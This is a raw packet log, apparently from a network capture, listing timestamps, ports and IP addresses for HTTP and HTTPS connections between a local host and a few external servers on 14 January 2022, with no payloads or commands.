Jan 14, 2022 02:04:59.329050064 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329066992 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329083920 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329092979 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329098940 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329101086 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329118013 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329134941 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329153061 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329169989 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329173088 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329179049 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329186916 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329204082 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329220057 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329231024 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329236031 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329237938 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329256058 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329272032 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329288960 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.329315901 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329320908 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.329395056 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366266012 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366303921 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366331100 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366358042 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366384983 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366414070 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366441965 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366466999 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366496086 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366504908 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366522074 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366522074 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366539001 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366556883 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366585016 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366591930 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366611958 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366638899 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366645098 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366667032 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366693020 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366720915 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366738081 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366741896 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366748095 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366772890 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366800070 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366801977 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366826057 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366852999 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366879940 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366900921 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366904974 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366908073 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.366933107 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366960049 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.366986036 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.367012024 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.367018938 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.367062092 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.374944925 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.374974966 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.374998093 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.375020981 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.375044107 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.375066996 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.375097036 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.375122070 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.375128984 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.375956059 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.375978947 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376045942 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376070976 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376095057 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376116037 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376138926 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376144886 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376162052 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376176119 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376185894 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376209974 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376231909 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376235962 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376255035 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376279116 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376301050 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376310110 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376315117 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376323938 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376348019 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376372099 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376395941 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376405001 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376410007 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376419067 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376442909 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376463890 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376466036 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376488924 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376511097 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376533031 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376538992 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376544952 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376558065 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376581907 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.376624107 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.376641035 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.379755020 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379777908 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379817963 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379842043 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379863024 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379880905 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.379887104 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379893064 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.379910946 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379934072 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379957914 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379961014 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.379978895 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.379997969 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380002022 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380043983 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380067110 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380090952 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380095005 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380109072 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380127907 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380152941 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380175114 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380197048 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380204916 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380209923 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380218983 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380240917 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380248070 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380260944 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380284071 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380305052 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380326986 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380348921 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:04:59.380387068 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380393982 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380434990 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.380666971 CET	49838	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:04:59.431245089 CET	80	49838	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.413821936 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.465749979 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.467569113 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.467823982 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.467957020 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.519731045 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.519759893 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.543601990 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.543711901 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.543879986 CET	49839	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.573213100 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.595818043 CET	80	49839	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.623891115 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.625101089 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.625454903 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.625471115 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.675946951 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.716989040 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.719904900 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.720101118 CET	49840	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:00.770467997 CET	80	49840	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:00.853773117 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:00.853816032 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:00.853898048 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:00.854232073 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:00.854243040 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:00.924298048 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:00.924458981 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:01.024184942 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:01.024211884 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:01.024568081 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:01.026031971 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:01.069876909 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562427044 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562568903 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562618017 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562666893 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562686920 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:02.562711000 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562736988 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:02.562791109 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562834024 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562851906 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:02.562860012 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562905073 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:02.562932968 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.562975883 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.563035011 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:02.563746929 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:02.563771009 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.563849926 CET	49841	443	192.168.2.3	104.21.38.221
Jan 14, 2022 02:05:02.563859940 CET	443	49841	104.21.38.221	192.168.2.3
Jan 14, 2022 02:05:02.699918985 CET	49842	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:02.750262976 CET	80	49842	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:02.750439882 CET	49842	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:02.750791073 CET	49842	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:02.750807047 CET	49842	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:02.800867081 CET	80	49842	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:02.800909042 CET	80	49842	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:02.827406883 CET	80	49842	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:02.827534914 CET	49842	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:03.347599030 CET	49842	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:03.398304939 CET	80	49842	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:03.436383963 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.436424017 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.436489105 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.436849117 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.436861038 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.517584085 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.517718077 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.520565033 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.520591021 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.520920992 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.522412062 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.565273046 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.565352917 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.565424919 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.764802933 CET	49843	443	192.168.2.3	144.76.136.153
Jan 14, 2022 02:05:03.764837980 CET	443	49843	144.76.136.153	192.168.2.3
Jan 14, 2022 02:05:03.977034092 CET	49844	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.028626919 CET	80	49844	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.028740883 CET	49844	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.028893948 CET	49844	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.028928041 CET	49844	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.080399036 CET	80	49844	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.109438896 CET	80	49844	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.109532118 CET	49844	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.109765053 CET	49844	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.138706923 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.161036968 CET	80	49844	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.189165115 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.189420938 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.189564943 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.189659119 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.239768028 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.275275946 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.275372028 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.275460958 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.302704096 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.325567961 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.353028059 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.353163004 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.353275061 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.353997946 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.403683901 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.403999090 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.436760902 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.436844110 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.437072992 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.483982086 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.487185001 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.533991098 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.534070969 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.534173965 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.534210920 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.584285975 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.632504940 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.632570982 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.636281967 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:04.686311007 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:04.976296902 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.027182102 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.029663086 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.029799938 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.089896917 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.089987993 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090028048 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090056896 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.090070963 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090112925 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090127945 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.090150118 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090189934 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090193987 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.090229034 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090270996 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.090332985 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090890884 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.090958118 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141068935 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141172886 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141210079 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141236067 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141263008 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141283035 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141304016 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141319990 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141350031 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141357899 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141395092 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141396999 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141433001 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141469955 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141479969 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141499996 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141525984 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141550064 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141570091 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141575098 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141599894 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141601086 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141625881 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141644001 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141653061 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141678095 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141690969 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.141704082 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.141742945 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192317963 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192365885 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192393064 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192418098 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192441940 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192466021 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192490101 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192509890 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192512989 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192527056 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192543030 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192544937 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192559958 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192563057 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192578077 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192584038 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192595959 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192610979 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192624092 CET	49848	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:05.192627907 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192646027 CET	80	49848	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:05.192653894 CET	49848	80	192.168.2.3	93.189.42.167
